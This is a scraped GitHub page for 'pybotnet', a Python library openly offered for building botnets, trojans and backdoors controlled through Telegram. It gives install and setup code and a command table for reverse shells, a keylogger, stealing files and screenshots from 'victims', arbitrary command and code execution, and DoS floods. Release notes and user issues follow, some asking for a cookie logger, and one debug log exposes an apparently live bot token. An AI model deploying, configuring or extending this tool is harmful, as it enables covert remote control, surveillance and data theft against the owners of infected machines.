pybotnet - A Python Library for building Botnet , Trojan or BackDoor for windows and linux with Telegram control panel

Overview

trojan horse

pybotnet

A Python Library for building botnet , trojan or backdoor for windows and linux with Telegram control panel

Disclaimer: Please note that this is a research project. I am by no means responsible for any usage of this tool. Use it on your behalf.

Persian document داکیومنت فارسی

Features:

  • Telegram anti-filter control panel
  • reverse shell
  • keylogger
  • extract target info
  • sleep source by Optional message
  • export file/s to target's system
  • import file/s from target's system
  • screenshot
  • Task Scheduler
  • Website Opener
  • Sound Player
  • Denial-Of-Service Attacker
  • Python Code runner

for more, see commands table at the end of this page

Requirements:

  • Python 3.6 or higher
  • Telegram account

Usage:

pip install pybotnet
from pybotnet import pybotnet
import time

# change TELEGRAM_TOKEN and  ADMIN_CHAT_ID to valid data:

# telegram api token (Get it from the telegram @botfather)
TELEGRAM_TOKEN = '1468299547:ABHs_________MzZcYxF_e00000000000'

# telegram account number ID (get it from @userinfobot)
ADMIN_CHAT_ID = '12345678910'



# * show_log:          just for debugging
# * send_system_data:  send system short info in every bot messages in telegram

bot = pybotnet.PyBotNet(TELEGRAM_TOKEN, ADMIN_CHAT_ID,
                        show_log=True, send_system_data=True)

delay = 7

while True:
    print('*-*'*15)
    bot.get_and_execute_scripts_by_third_party_proxy()
    time.sleep(delay)

Commmands:

Send the desired command to your bot in telegram, using the admin account registered in the trojan.

to run a command on only one target, use : <Target_MAC_Address> <command> ,Example: 66619484755211 get_info

COMMAND Sample DOES THIS version tested on
get_info get_info returns system info 0.06 windows, linux
do_sleep <scconds> <message (Optional)> do_sleep 99999 hi, i see you! Sleeps with printing a message. 0.08 windows, linux
cmd <system command> cmd mkdir new_folder cmd cd .., cmd ls runs system commands in shell or cmd 0.07 windows, linux
export_file <link> export_file https://github.com/onionj/pybotnet/archive/refs/heads/master.zip file will be exported on the target machine and saved to the script path 0.14 windows, linux
import_file <file_route> import_file /home/onionj/folder/somting.png imports a file from target system (limit:5GB & 20min) 0.17.0 windows, linux
screenshot screenshot Takes a screenshot, uploads it to the online server and returns the download link 0.18.1 windows, linux
help help sends help menu 0.18.5 windows, linux
/start /start runs help command !! 0.18.7 windows, linux
<MAC_Address> reverse_shell or reverse_shell 66619484755211 reverse_shell and exit for exit! starst reverse shell on the target machine 0.20.1 windows, linux
keylogger keylogger start and keylogger stop to stop the keylogger Starts a keylogger on victim's system. keylogger can't handle persian words very correctly 0.21.1 windows, linux
scheduler scheduler start ,stop , list Adds a schedule to be run each n second 0.25.3 windows, linux
playsound playsound <sound-name> Will play a sound. Playsound can only play MP3 or WAV Files. 0.25.3 windows, linux
openurl openurl <url> <how-many-times> Will open a url n times. 0.25.3 windows, linux
dos dos <attack-type [GETFlood-ACKFlood]> <target-ip> <target-port> <thread-number> <payload-size> Will run Denial-Of-Service Attack. 1.0.0 windows
runcode runcode <code> Will run python code, The code should be written in a seperate line with correct python syntax, Because of python limitations , The function can't return the results. 1.0.0 windows, Linux

If you like this repo and find it useful, please consider ★ starring it (on top right of the page) and forking it :)

TODO List

Sample GUI Trojan created by pybotnet: VINET

Infected Game With PyBotNet: Infected Game With PyBotNet

Contributors

Thanks goes to these wonderful people :


oNion


TorhamDev


SepehrRasouli

Comments
  • ImportError

    ImportError

    Hi, onionj. When I imported pybotnet and ran the code I got this error. ImportError: cannot import name 'util' from partially initialized module 'pybotnet' (most likely due to a circular import) Would you help me, please?

    bug help wanted 
    opened by Ali-Imangholi 13
  • I have a problem running the file main.py

    I have a problem running the file main.py

    Traceback (most recent call last): File "/data/data/com.termux/files/home/pybotnet/pybotnet/main.py", line 3, in from . import * ImportError: attempted relative import with no known parent package

    opened by pbthong 6
  • Develop botnet

    Develop botnet

    Hi my friend, this project is great, but its options are few, I am waiting for amazing updates and adding options for keylogger, screenshot, download, upload, etc. Please develop the botnet.

    opened by alix1011 6
  • Xlib.error.DisplayNameError: Bad display name

    Xlib.error.DisplayNameError: Bad display name ""

    first, i like this botnet.. is good because using telegram . .. but i got this error :

    Traceback (most recent call last): File "/usr/local/lib/python3.7/runpy.py", line 183, in _run_module_as_main mod_name, mod_spec, code = _get_module_details(mod_name, _Error) File "/usr/local/lib/python3.7/runpy.py", line 142, in _get_module_details return _get_module_details(pkg_main_name, error) File "/usr/local/lib/python3.7/runpy.py", line 109, in _get_module_details import(pkg_name) File "/usr/local/lib/python3.7/site-packages/pybotnet/init.py", line 1, in from .pybotnet import PyBotNet File "/usr/local/lib/python3.7/site-packages/pybotnet/pybotnet.py", line 2, in from . import util File "/usr/local/lib/python3.7/site-packages/pybotnet/util.py", line 20, in from pynput import keyboard File "/usr/local/lib/python3.7/site-packages/pynput/init.py", line 40, in from . import keyboard File "/usr/local/lib/python3.7/site-packages/pynput/keyboard/init.py", line 52, in from ._xorg import KeyCode, Key, Controller, Listener File "/usr/local/lib/python3.7/site-packages/pynput/keyboard/_xorg.py", line 39, in from pynput._util.xorg import ( File "/usr/local/lib/python3.7/site-packages/pynput/_util/xorg.py", line 40, in _check() File "/usr/local/lib/python3.7/site-packages/pynput/_util/xorg.py", line 38, in _check display = Xlib.display.Display() File "/usr/local/lib/python3.7/site-packages/Xlib/display.py", line 89, in init self.display = _BaseDisplay(display) File "/usr/local/lib/python3.7/site-packages/Xlib/display.py", line 71, in init protocol_display.Display.init(self, *args, **keys) File "/usr/local/lib/python3.7/site-packages/Xlib/protocol/display.py", line 84, in init name, protocol, host, displayno, screenno = connect.get_display(display) File "/usr/local/lib/python3.7/site-packages/Xlib/support/connect.py", line 73, in get_display return mod.get_display(display) File "/usr/local/lib/python3.7/site-packages/Xlib/support/unix_connect.py", line 76, in get_display raise error.DisplayNameError(display) Xlib.error.DisplayNameError: Bad display name ""

    can you help ? ,

    help wanted question 
    opened by BJM15 3
  • Help me

    Help me

    Hi, I couldn't create main.py for myself, how should I add voice recorder and screen recorder to my file or add key logger or Google cookie logger? please help me

    opened by Rezahackm 3
  • Enhancment for pybotnet

    Enhancment for pybotnet

    Hello again , Onionj. Pybotnet does a great job in solving the issue of Telegram being blocked in Iran , but this app is not only intended for Iranian's so I believe that using a proxy in countries where freedom of speech is respected might not be useful so we can make it an optional choice. What are your thoughts ? SepehrRS

    wontfix 
    opened by SepehrRasouli 3
  • A question about configs.py.sample

    A question about configs.py.sample

    Hi, Onionj. I've read your Persian documentation and i noticed that you said the delay should not be less than 10. why? and why you haven't write the same for the English documentation? Because the delay in the README.MD version of configs.py.sample has a delay of 7 seconds and the delay in the original configs.py.sample code has a delay of 10 seconds. What are your thoughts ? How can we fix this ? SepehrRS.

    question 
    opened by SepehrRasouli 3
  • Added keylogger to pybotnet

    Added keylogger to pybotnet

    The keylogger command was added , and to activate it the user has to send keylogger start. the function will handle whether the keylogging system is activated already or not. If not , the function will send an error to deactivate the keylogger , the user has to send keylogger stop. the function will handle whether the keylogging system is activated or not. if not , it will send an error , otherwise , keylogging will be stopped and it will send the url to logged keys zip file. the keylogging system cannot handle Persian words very well , but all English words are handled correctly. all keys will have dates to indicate when they were recorded. all keys will be recorded in a textfile named klog.txt by default.

    opened by SepehrRasouli 3
  • error in open[SOLVED]

    error in open[SOLVED]

    hey i'm using this on windows 10, and when i place token and admin id in source and run it, i got this error

    Traceback (most recent call last):
      File "d:/My-projects/botnet_for_systems_pico_ducky/main.py", line 2, in <module>
        from pybotnet import BotNet, TelegramEngine
      File "C:\Users\Asus\AppData\Local\Programs\Python\Python38\lib\site-packages\pybotnet\__init__.py", line 3, in <module>
        from .botnet import BotNet as BotNet
      File "C:\Users\Asus\AppData\Local\Programs\Python\Python38\lib\site-packages\pybotnet\botnet.py", line 15, in <module>
        from .context import Context
      File "C:\Users\Asus\AppData\Local\Programs\Python\Python38\lib\site-packages\pybotnet\context.py", line 9, in <module>
        class Context:
      File "C:\Users\Asus\AppData\Local\Programs\Python\Python38\lib\site-packages\pybotnet\context.py", line 37, in Context
        def get_all_global_values(cls) -> dict[Any, Any]:
    TypeError: 'type' object is not subscriptable
    

    what should i do?

    opened by ebad84 2
  • Transfer all functions to util.py

    Transfer all functions to util.py

    Hi Onionj. As a contributor, I've a hard time trying to write new features and I can't use the pybotnet's features so I've to kinda invent the wheel again every time I want to run a command and etc. I would be very happy if you consider transferring all the useful features and their functions to util.py so the contributors wouldn't have a hard time trying to write new and useful features.

    opened by SepehrRasouli 2
  • Mybot can not receive and execute command

    Mybot can not receive and execute command

    Mybot had contacted my telegram successfully but when i type commands (/who, /help,...) the bot still can not get and execute them. Here is the log:

    DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "GET /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/getMe HTTP/1.1" 200 193 DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "POST /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/Getupdates?offset=442620547&limit=100 HTTP/1.1" 200 331 DEBUG:--> pybotnet.botnet : DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "GET /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/getMe HTTP/1.1" 200 193 DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "POST /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/Getupdates?offset=442620547&limit=100 HTTP/1.1" 200 331 DEBUG:--> pybotnet.botnet : DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "GET /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/getMe HTTP/1.1" 200 193 DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "POST /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/Getupdates?offset=442620547&limit=100 HTTP/1.1" 200 331 DEBUG:--> pybotnet.botnet : DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "GET /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/getMe HTTP/1.1" 200 193 DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "POST /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/Getupdates?offset=442620547&limit=100 HTTP/1.1" 200 331 DEBUG:--> pybotnet.botnet :

    My python 3.8, pybotnet>=2 What can i do now?

    help wanted question 
    opened by hanoivip 1
Releases(v2.2.2)
  • v2.2.2(Sep 3, 2022)

  • v2.2.1(Aug 16, 2022)

  • v2.2.0(Aug 5, 2022)

  • 2.1.0(Jul 2, 2022)

    Everything has changed in version 2.1.0 !

    To view the document, go to this link: https://onionj.github.io/pybotnet/

    Features:

    • Ability to easily add custom scripts
    • external scripts
    • to add custom control panel
    • in Telegram control pannel and proxy
    • in scripts like:
      • reverse shell
      • put or get file
      • run python code on target systems
      • get screenshot
      • keylogger
      • dos
      • scheduler
      • ...
    • Cross platform
    • remote control to your apps ...
    Source code(tar.gz)
    Source code(zip)
  • 2.0.9b0(Jun 27, 2022)

    Everything has changed in version 2 !

    To view the document, go to this link: https://onionj.github.io/pybotnet/

    Features:

    • Ability to easily add custom scripts
    • Import external scripts
    • Ability to add custom control panel
    • Built in Telegram control pannel and proxy
    • Built in scripts like:
      • reverse shell
      • put or get file
      • run python code on target systems
      • get screenshot
      • keylogger
      • dos
      • scheduler
      • ...
    • Cross platform
    • Add remote control to your apps
    • ...
    Source code(tar.gz)
    Source code(zip)
  • v1.0.5(May 31, 2022)

  • v1.0.4(Nov 29, 2021)

    https://github.com/onionj/pybotnet/pull/21#issue-1065277047

     @SepehrRasouli:
    runcode command had a problem like cmd command , which it would run forever non-stop , so I fixed it with the same solution i used for the cmd command.
    I also edited some minor things and tested the code , and the code worked properly.
    Please change the version.
    If you encountered any problem , contact me.
    
    Source code(tar.gz)
    Source code(zip)
  • v1.0.3(Oct 14, 2021)

    Features:

    • Telegram anti-filter control panel
    • reverse shell
    • keylogger
    • extract target info
    • sleep source by Optional message
    • export file/s to target's system
    • import file/s from target's system
    • screenshot
    • Task Scheduler
    • Website Opener
    • Sound Player
    • Denial-Of-Service Attacker
    • Python Code runner
    Source code(tar.gz)
    Source code(zip)
  • v1.0.1(Oct 12, 2021)

    Features:

    • Telegram anti-filter control panel
    • reverse shell
    • keylogger
    • get target info
    • sleep source by Optional message
    • export file to targets system
    • import file from target system
    • get screenshot
    • Task Scheduler
    • Open Website
    • Play Sound
    • Denial-Of-Service Attack
    • Run python code
    Source code(tar.gz)
    Source code(zip)
  • v0.25.3(Oct 5, 2021)

    Features

    • Telegram anti-filter control panel
    • reverse shell
    • keylogger
    • get target info
    • sleep source by Optional message
    • export file to targets system
    • import file from target system
    • get screenshot
    • Task Scheduler
    • Open Website
    • Play Sound
    Source code(tar.gz)
    Source code(zip)
  • v0.21.3(Sep 21, 2021)

    Features:

    • Telegram anti-filter control panel
    • get command from telegram and execute scripts
    • get command and send message by third party proxy
    • reverse shell
    • keylogger
    • get target info
    • sleep source by Optional message
    • export file to targets system
    • import file from target system
    • get screenshot
    Source code(tar.gz)
    Source code(zip)
  • v0.20.8(Sep 18, 2021)

    trojan horse

    pybotnet

    A Python Library for building botnet , trojan or backdoor for windows and linux with Telegram control panel

    Disclaimer: Please note that this is a research project. I am by no means responsible for any usage of this tool. Use it on your behalf.

    Persian document داکیومنت فارسی

    Features:

    • Telegram anti-filter control panel
    • get command from telegram and execute scripts
    • get command and send message by third party proxy
    • reverse shell
    • get target info
    • sleep source by Optional message
    • export file to targets system
    • import file from target system
    • get screenshot
    Source code(tar.gz)
    Source code(zip)
  • v0.18.7(Jul 28, 2021)

    new:

    • add help and /start command

    Features:

    • Telegram anti-filter control panel
    • get command from telegram and execute scripts
    • get command and send message by third party proxy
    • get target info
    • sleep source by Optional message
    • get ls (dirctory list)
    • export file to targets system
    • import file from target system
    • get screenshot
    Source code(tar.gz)
    Source code(zip)
  • v0.18.6(Jul 24, 2021)

  • v0.18.5(Jul 22, 2021)

  • v0.18.1(Jul 22, 2021)

    Features:

    get command from telegram and execute scripts
    get command and send message by third party proxy
    get target info
    sleep source by Optional message
    get ls (dirctory list)
    export file to targets system
    import file from target system
    + get screenshot
    
    Source code(tar.gz)
    Source code(zip)
  • v0.17.0(Jul 17, 2021)

    Features:

    • get command from telegram and execute scripts
    • get command and send message by third party proxy
    • get target info
    • sleep source by Optional message
    • get ls (dirctory list)
    • export file to targets system
    • import file from target system
    Source code(tar.gz)
    Source code(zip)
  • v0.15.5(Jul 3, 2021)

    Features:

    • get command from telegram and execute scripts
    • get command and send message by third party proxy
    • get target info
    • sleep source by Optional message
    • get ls (dirctory list)
    • export file to targets system (target download a link :) )
    • for more see commands table end of this page
    Source code(tar.gz)
    Source code(zip)
Owner
:) -> Geek
</oNion
A malware to encrypt all the .txt and .jpg files in target computer using RSA algorithms

A malware to encrypt all the .txt and .jpg files in target computer using RSA algorithms. Change the Blackgound image of targets' computer. and decrypt the targets' encrypted files in our own compute

Li Ka Lok 2 Dec 02, 2022
Sample exploits for Zephyr CVE-2021-3625

CVE-2021-3625 This repository contains a few example exploits for CVE-2021-3625. All Zephyr-based usb devices up to (and including) version 2.5.0 suff

7 Nov 10, 2022
Yet another web fuzzer

yafuzz Yet another web fuzzer Usage This script can run in two modes of operation. Supplying a wordlist -W argument will initiate a multithreaded fuzz

FooBallZ 5 Feb 02, 2022
Exploit grafana Pre-Auth LFI

Grafana-LFI-8.x Exploit grafana Pre-Auth LFI How to use python3

2 Jul 25, 2022
Bug Alert: a service for alerting security and IT professionals of high-impact and 0day vulnerabilities

Bug Alert Bug Alert is a service for alerting security and IT professionals of h

BugAlert.org 208 Dec 15, 2022
Signatures and IoCs from public Volexity blog posts.

threat-intel This repository contains IoCs related to Volexity public threat intelligence blog posts. They are organised by year, and within each year

Volexity 130 Dec 29, 2022
C++ fully undetected shellcode launcher

charlotte c++ fully undetected shellcode launcher ;) releasing this to celebrate the birth of my newborn description 13/05/2021: c++ shellcode launche

894 Dec 25, 2022
CVE-2021-26855: PoC (Not a HoneyPoC for once!)

Exch-CVE-2021-26855 ProxyLogon is the formally generic name for CVE-2021-26855, a vulnerability on Microsoft Exchange Server that allows an attacker b

ZephrFish 24 Nov 14, 2022
ClusterFuzz is a scalable fuzzing infrastructure that finds security and stability issues in software.

ClusterFuzz ClusterFuzz is a scalable fuzzing infrastructure that finds security and stability issues in software. Google uses ClusterFuzz to fuzz all

Google 4.9k Jan 08, 2023
Password database With special stuff

This is a Password database I made for myself, as I want to keep all my passwords in the same place. but still protected, shall anyone get access to the file. And so I made this simple password datab

9 Oct 30, 2022
Script Crack Facebook Elite 🚶‍♂

elite Script Crack Facebook Elite 🚶‍♂ Install Script $ pkg update && pkg upgrade $ termux-setup-storage $ pkg install git $ pkg install python $ pip

Yumasaa 1 Jan 02, 2022
A Radare2 based Python module for Binary Analysis and Reverse Engineering.

Zepu1chr3 A Radare2 based Python module for Binary Analysis and Reverse Engineering. Installation You can simply run this command. pip3 install zepu1c

Mehmet Ali KERİMOĞLU 5 Aug 25, 2022
Web3 Pancakeswap Sniper & honeypot detector Take Profit/StopLose bot written in python3, For ANDROID WIN MAC & LINUX

🏆 Pancakeswap BSC Sniper Bot web3 with honeypot detector (ANDROID WINDOWS MAC LINUX) 🥇 ⭐️ ⭐️ ⭐️ First SNIPER BOT for ANDROID & WINDOWS with honeypot

Mayank 12 Jan 07, 2023
Selamat Datang DiTools Crack-Old, Crack Old Adalah Sebuah Crack Tanpa Login Dan Crack Menggunakan Akun Facebook Tua/Old.

Selamat Datang DiTools Crack-Old, Crack Old Adalah Sebuah Crack Tanpa Login Dan Crack Menggunakan Akun Facebook Tua/Old. ([Welcome to Crack-Old Tools, Old Crack Is A Crack Without Login And Crack Usi

Risky [ Zero Tow ] 7 Dec 25, 2022
Cam-Hacker: Ip Cameras hack with python

Cam-Hacker Hack Cameras Mode Of Execution: apt-get install python3 apt-get insta

Error 4 You 9 Dec 17, 2022
RDP Stealer

RDP Stealer RDP Stealer by lamp Require Python How To Use Download This Source Extract The Zip File Change webhook url Convert to exe send to target I

Lamp 14 Nov 26, 2022
ProxyLogon Pre-Auth SSRF To Arbitrary File Write

ProxyLogon Pre-Auth SSRF To Arbitrary File Write For Education and Research Usage: C:\python proxylogon.py mail.evil.corp lulz 117 Nov 28, 2022

This is a proof-of-concept exploit for Grafana's Unauthorized Arbitrary File Read Vulnerability (CVE-2021-43798).

CVE-2021-43798 – Grafana Exploit About This is a proof-of-concept exploit for Grafana's Unauthorized Arbitrary File Read Vulnerability (CVE-2021-43798

Pedro Havay 12 Nov 18, 2022
This little tool is to calculate a MurmurHash value of a favicon to hunt phishing websites on the Shodan platform.

MurMurHash This little tool is to calculate a MurmurHash value of a favicon to hunt phishing websites on the Shodan platform. What is MurMurHash? Murm

Viral Maniar 87 Dec 31, 2022
AIL LeakFeeder: A Module for AIL Framework that automate the process to feed leaked files automatically to AIL

AIL LeakFeeder: A Module for AIL Framework that automates the process to feed leaked files automatically to AIL, So basically this feeder will help you ingest AIL with your leaked files automatically

ail project 8 May 03, 2022